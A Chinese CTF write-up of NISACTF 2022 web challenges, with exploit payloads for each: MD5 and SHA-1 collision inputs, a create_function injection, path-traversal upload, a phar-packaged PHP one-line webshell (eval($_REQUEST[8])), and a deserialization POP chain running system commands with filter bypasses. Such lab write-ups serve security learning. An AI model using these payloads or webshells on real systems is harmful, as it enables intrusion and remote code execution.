目录
有 create function注入,和parse_url的知识,phar发送木马文件压缩绕过
md5强比较,sha1强比较,editor的使用学到蛮多了加油
[NISACTF 2022]checkin
打开界面本来以为是简单的get传参,结果发现有的字符不能选中,选了好几下也不可以很蹊跷,仅仅想到了可能是代替的一些东西吧,然后csdn了一下
【神奇的Unicode编码】这个符号竟然可以从右往左打印字符串 - Lxxx
php打开,发现存在特殊字符,因为这道题,了解了一个软件editor
然后url编码就可以,比如先找get里面的
%E2%80%AE%E2%81%A6%55%67%65%69%77%6F%E2%81%A9%E2%81%A6%63%75%69%73%68%69%79%75%61%6E
%E2%80%AE%E2%81%A6%20%46%6c%61%67%21%E2%81%A9%E2%81%A6%4E%31%53%41%43%54%46
[NISACTF 2022]level-up
真不容易呀,加油!
这道题打开以后发现少都没有,但是感觉disallow这是一个突破口
实在不知道是啥,然后搜了一下disallow,发现这个是存在与robots.txt文件中的,浏览器访问一下
啊啊啊,出来了,访问下面的php,爆出来了源码
<?php
//here is level 2
error_reporting(0);
include "str.php";
if (isset($_POST['array1']) && isset($_POST['array2'])){
$a1 = (string)$_POST['array1'];
$a2 = (string)$_POST['array2'];
if ($a1 == $a2){
die("????");
}
if (md5($a1) === md5($a2)){
echo $level3;
}
else{
die("level 2 failed ...");
}
}
else{
show_source(__FILE__);
}
?>
array1[]=1&array2[]=2本来觉得数组绕过就可以可是,发现输出了????
原因是php的数组在进行string强制转换时,会将数组转换为NULL类型 null=null就成立了,没绕过去
所以我们需要一个,md5前不相等,而md5后全等的
payload:array1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&array2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
第三层 sha1碰撞
array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
第四层
<?php
//here is last level
error_reporting(0);
include "str.php";
show_source(__FILE__);
$str = parse_url($_SERVER['REQUEST_URI']);
if($str['query'] == ""){
echo "give me a parameter";
}
if(preg_match('/ |_|20|5f|2e|\./',$str['query'])){
die("blacklist here");
}
if($_GET['NI_SA_'] === "txw4ever"){
die($level5);
}
else{
die("level 4 failed ...");
}
?>
在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、+、点、[转换为下划线,但是用一个特性是可以绕过的,就是当[提前出现后,后面的点就不会再被转义了,such as:`CTF[SHOW.COM`=>`CTF_SHOW.COM`
这样也可以,或者
考察parse_url的漏洞
http://1.14.71.254:28023///level_level_4.php?NI_SA_=txw4ever
parse_url函数的解释和绕过_q1352483315的博客-CSDN博客_url绕过
第五层
额应该是最后一惯了,看见$a($b)想到create function注入,自带eval命令执行
因为$a正则所以开头加个\绕过
?a=\create_function&b=}system('tac /flag');//
}为了闭合前面 //注释掉后面得出flag
[NISACTF 2022]babyupload
打开页面,哦一道文件上传的题,想看看源码,有没有前端过滤啥的,结果看见了source,访问一下
下载得到一个python文件,可以知道这是一个flask项目,这就开始了审代码环节
from flask import Flask, request, redirect, g, send_from_directory
import sqlite3
import os
import uuid
app = Flask(__name__)
SCHEMA = """CREATE TABLE files (
id text primary key,
path text
);
"""
def db():
g_db = getattr(g, '_database', None)
if g_db is None:
g_db = g._database = sqlite3.connect("database.db")
return g_db
@app.before_first_request
def setup():
os.remove("database.db")
cur = db().cursor()
cur.executescript(SCHEMA)
@app.route('/')
def hello_world():
return """<!DOCTYPE html>
<html>
<body>
<form action="/upload" method="post" enctype="multipart/form-data">
Select image to upload:
<input type="file" name="file">
<input type="submit" value="Upload File" name="submit">
</form>
<!-- /source -->
</body>
</html>"""
@app.route('/source')
def source():
return send_from_directory(directory="/var/www/html/", path="www.zip", as_attachment=True)
@app.route('/upload', methods=['POST'])
def upload():
if 'file' not in request.files:
return redirect('/')
file = request.files['file']
if "." in file.filename:
return "Bad filename!", 403
conn = db()
cur = conn.cursor()
uid = uuid.uuid4().hex
try:
cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
except sqlite3.IntegrityError:
return "Duplicate file"
conn.commit()
file.save('uploads/' + file.filename)
return redirect('/file/' + uid)
@app.route('/file/<id>')
def file(id):
conn = db()
cur = conn.cursor()
cur.execute("select path from files where id=?", (id,))
res = cur.fetchone()
if res is None:
return "File not found", 404
# print(res[0])
with open(os.path.join("uploads/", res[0]), "r") as f:
return f.read()
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
也就是说,我们让res[0]为/flag
就行了
只需要把filename设为/flag,文件内容随便写,上传就会获得网站,点开就会出现flag
[NISACTF 2022]easyssrf
自从被坑过,easy这种已经不相信了
这种方式不正确,可是弄出来了提示
file读取文件
stristr:函数是,字符串二在字符串一中的位置,如果有返回当前到之后,第三个变量默认为false,如果是true则返回当前串之前的字符
伪协议搞定
[NISACTF 2022]bingdundun~
.php htacess后缀都不能上传,传了个图片码可是,连不上呀,断绝了我的想法
看完师傅们的wp我,不禁赞叹,完全没想到本来以为phar协议只会出现在反序列化里面
可以看到提示有图片或者压缩包,想到了phar协议和zip协议,其实在此之前我是根本没听过这两个协议的(惭愧)
第一步:构造phar包
创建一个test.php
<?php
$phar = new Phar("exp.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->addFromString("test.php", '<?php eval($_REQUEST[8]);?>');
$phar->stopBuffering();
?>
其实相对于,phar反序列化,少一个mete序列化
第二步:
把生成的exp.phar,改成exp.zip然后通过文件上传功能点上传
第三步
访问上传的文件zip/test是一句话木马写入的文件名
然后可以链接蚁建,
密码8
http://1.14.71.254:28416/?bingdundun=phar://2fac0d2460c2648c7b8b624a9a71e42e.zip/test
或者
[NISACTF 2022]babyserialize
<?php
include "waf.php";
class NISA{
public $fun="show_me_flag";
public $txw4ever;
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
}
function __call($from,$val){
$this->fun=$val[0];
}
public function __toString()
{
echo $this->fun;
return " ";
}
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
}
class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
}
}
class Ilovetxw{
public $huang;
public $su;
public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}
public function __toString(){
$bb = $this->su;
return $bb();
}
}
class four{
public $a="TXW4EVER";
private $fun='abc';
public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
}
if(isset($_GET['ser'])){
@unserialize($_GET['ser']);
}else{
highlight_file(__FILE__);
}
//func checkcheck($data){
// if(preg_match(......)){
// die(something wrong);
// }
//}
//function hint(){
// echo ".......";
// die();
//}
?>
pop链表题,先找尾巴也就是可以实现输出flag的命令
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
} 感觉eval可以实现
(1)eval反推到__invoke
这里先看到eval,而eval中的变量可控,所以肯定是代码执行,而eval又在__invoke魔术方法中
__invoke魔术方法是对象被当做函数进行调用的时候所触发
这里就反推看哪里用到了类似$a()这种的。
(2)__invoke反推到__toString
在Ilovetxw类的toString方法中,返回了return $bb;
__ToString方法,是对象被当做字符串的时候进行自动调用
(3)__toString反推到__set
在four的__set中,调用了strolower方法。对字符串进行了操作
(4)从__set反推到__call
__set:对不存在或者不可访问的变量进行赋值就自动调用
__call:对不存在的方法或者不可访问的方法进行调用就自动调用
这里反推到Ilovetxw中的__call方法,而__call方法又可直接反推回pop链入口函数__wakeup
构造
invoke-->tostring-->set-->call-->wakeup
NISA--->ilovetxw--->four-->ilovetxw->Tianxiwei
<?php
class NISA{
public $fun;
public $txw4ever="System('ls /');";
}
class TianXiWei{
public $ext;
public $x;
}
class Ilovetxw{
public $huang;
public $su;
}
class four{
public $a="TXW4EVER";
private $fun='abc';
}
$T=new TianXiWei();
$N=new NISA();
$I=new Ilovetxw();
$F=new four();
$T->ext=$I;
$I->huang=$F;
$F->a=$I;
$I->su=$N;
echo urlencode(serialize($T));
根据题目,hint
if($this->fun=="show_me_flag"){
hint(); 然后把hint的属性清空
看见有过滤,我第一次传参 system过滤掉了,大小写就可以绕过
public $txw4ever = "\$a='sy';\$b='stem';(\$a.\$b)('cat /f*');";也是一种绕过手段
尤其是system后面的分号必须加
public $txw4ever="System('cat /fllllllaaag');改为cat就可以了
这道题干了我一个小时,还是不够熟练加油!